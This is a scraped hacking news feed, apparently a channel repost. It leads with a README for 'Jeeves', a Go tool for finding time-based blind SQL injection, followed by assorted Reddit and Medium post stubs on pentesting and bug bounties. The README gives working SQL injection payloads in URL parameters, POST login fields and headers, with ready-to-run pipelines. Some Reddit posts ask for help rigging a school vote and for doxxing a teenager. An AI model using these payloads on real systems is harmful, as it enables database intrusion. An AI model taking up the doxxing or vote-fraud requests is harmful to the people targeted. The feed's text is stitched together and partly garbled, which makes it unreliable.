KitPloit - PenTest Tools!
Jeeves - Time-Based Blind SQLInjection Finder

https://blogger.googleusercontent.com/img/a/AVvXsEjwZ8dEQeF3stp-XvrZJ8rzWOoJ7mPB5N-FQFgsVhPdIC4EF5dpCLHNu3i2Cwo3lhI57zv8vanLAjhpmm06YjZspcRj4mZ9kUcw-6FiUfPKssIOyZigTwb_K_HtESqNyKyoZO_aFiVU_EGr9Q0WlY9yRRLwBGyGOMZi8ZHHJ0xawHTF8wRpkSbFCIyz=s320 Jeeves is made for looking to Time-Based Blind SQLInjection through recon.- Installation & Requirements:Installing Jeeves

 $ go install github.com/ferreiraklet/Jeeves@latestOR $ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h- Usage & Explanation:In Your recon process, you may find endpoints that can be vulnerable to sql injection, Ex: https://redacted.com/index.php?id=1 Single urlsecho 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10In --payload-time you must use the time mentioned in payload From listcat targets | jeeves --payload-time 5Adding HeadersPay attention to the syntax! Must be the same => echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"Using proxyecho "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"Proxy + Headers => echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"Post RequestSending data through post request ( login forms, etc )

Pay attention to the syntax! Must be equal! -> echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"Another ways of UsageYou are able to use of Jeeves with other tools, such as gau, gauplus, waybackurls, qsreplace and bhedak, mastering his strenght
Command line flags:

traffic to a proxy -c Set Concurrency, Default 25 -H, --headers Custom Headers -d, --data Sending Post request with data -h Show This Help Message">Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
Using with sql payloads wordlist cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;doneTesting in headers echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10

Payload credit: https://github.com/rohit0x5OBS:

* Does not follow redirects, If the Status Code is diferent than 200, it returns "Need Manual Analisys"
* Jeeves does not http probing, he is not able to do requests to urls that does not contain protocol ( http://, https:// ) This project is for educational and bug bounty porposes only! I do not support any illegal activities!.If any error in the program, talk to me immediatly. Please, also check these => Nilo - Checks if URL has status 200 SQLMAP Blisqy Header time based SQLI Download Jeeves

[Bug Bounty] How I was able edit AWS’s files from file upload function?
https://medium.com/@alp0x01/bug-bounty-how-i-was-able-edit-awss-files-from-file-upload-function-cb33bc3bd3a9?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello guys! This is Alp ! I’m not here for a long time. I was finally able to get some free time to share a write up for the community.Continue reading on Medium » (https://medium.com/@alp0x01/bug-bounty-how-i-was-able-edit-awss-files-from-file-upload-function-cb33bc3bd3a9?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
My internet went down twice inside of 3 hours...

The ISP gave me $5 the first time and $4 the second time (because I contacted them)... it's not really hacking but I have a feeling most people don't get credited... I have a script running every minute to alert me if my Internet goes down.

submitted by /u/Free-Speech-101
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Purely theoretically manipulate a survey

So in theory we have a survey that asks for the email address and then sends you a link in the form: https://vote.org//?key=(random key)&active=(random letters). you could theoretically change this key and that would count as a vote. Unfortunately, these email addresses are also saved, so it is noticeable if you only change the key. theoretically, you could also take a gmail address and make it a "new" email address with dots or + signs. but that would also be noticeable. do you have any other ideas on how to circumvent this school voting theorethically?

submitted by /u/RobRoy1702
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to defeat the Russian Dukes: A step-by-step analysis of Miniduke used by APT29/Cozy Bear

https://external-preview.redd.it/LbWb3ODzLNle0_l5fJJ6_LXqmYU5gJACxur_hK-gtw8.jpg?width=640&crop=smart&auto=webp&s=bf1d32afd33e48e942a0af6c9656b8a55afedee9 submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Justice?

This is a long shot but the verdict in this case makes me angry. I’m a complete outsider to the case - I just feel lucid with anger at the lack of justice. A teen drives recklessly under the influence of something and almost kills a mother and her 8 month old. His punishment? Five months in a teen camp and his record expunged when he turns 18. Is this justice? Anyone capable of making his identity public to shame him for the rest of his life?

submitted by /u/Loopsquare
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
AMA Just finished my first week as security engineer intern at Uber.

Not an expert by any means. Nor am I more important. Putting this here so no one roasts me in the comments. In CTFs Im mainly a C/C++ memory corruption guy but I am a generalist as well.

submitted by /u/ParkingMobile2095
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

[Bug Bounty] How I was able edit AWS’s files from file upload function?

Hello guys! This is Alp ! I’m not here for a long time. I was finally able to get some free time to share a write up for the community.Continue reading on InfoSec Write-ups »
Read more...

Como eu encontrei um SQL Injection Crítico em 5 minutos?

Hoje vou contar para vocês como eu encontrei um SQLi via POST em 5 minutos.Continue reading on Medium »
Read more...

Como eu encontrei um SQL Injection Crítico em 5 minutos?
https://medium.com/@0ortiz/como-eu-encontrei-um-sql-injection-cr%C3%ADtico-em-5-minutos-db0bb0a662f7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hoje vou contar para vocês como eu encontrei um SQLi via POST em 5 minutos.Continue reading on Medium » (https://medium.com/@0ortiz/como-eu-encontrei-um-sql-injection-cr%C3%ADtico-em-5-minutos-db0bb0a662f7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Buy/Build a rig on a budget
https://www.reddit.com/r/Pentesting/comments/v9mkuu/buybuild_a_rig_on_a_budget/

Hi everyone. Looking to buy or build my first dedicated pentesting rig. Open to laptop or desktop. I would prefer to keep it to $500, though my hard limit is $1000. I know there are some real Skynet level machines out there, but they’re just not reality for me right now. Is $500 - $1000 enough for practical pentesting? If so, what would you choose? submitted by /u/w00k27612 (https://www.reddit.com/user/w00k27612)
[link] (https://www.reddit.com/r/Pentesting/comments/v9mkuu/buybuild_a_rig_on_a_budget/) [comments] (https://www.reddit.com/r/Pentesting/comments/v9mkuu/buybuild_a_rig_on_a_budget/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BackgroundMusic: free Mac audio utility for Online meeting & video editing

https://cdn-images-1.medium.com/max/600/1*xXdL8iqHlA_NvpxDnVDSIQ.png
I am a software engineer & video editor, used BackgroundMusic App for many years.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Encrypted Harddrives

Has anyone had any luck getting into an encrypted harddrive? Got a new client who was asking if I can get into a HDD that was an old employee's that has since been fired. Any insite would be helpful.

submitted by /u/Rickrolled89
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
AD security best practices

Hi, I am going to have to secure an AD infrastructure. I haven't done this before at this scale. I am expecting to this gig to have a couple of servers and about 200 clients. Are there any websites explainig AD security 101 that you can recommend? Or maybe there is a collection of common attack vectors. Any hints are appreciated.

submitted by /u/Marakuhja
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video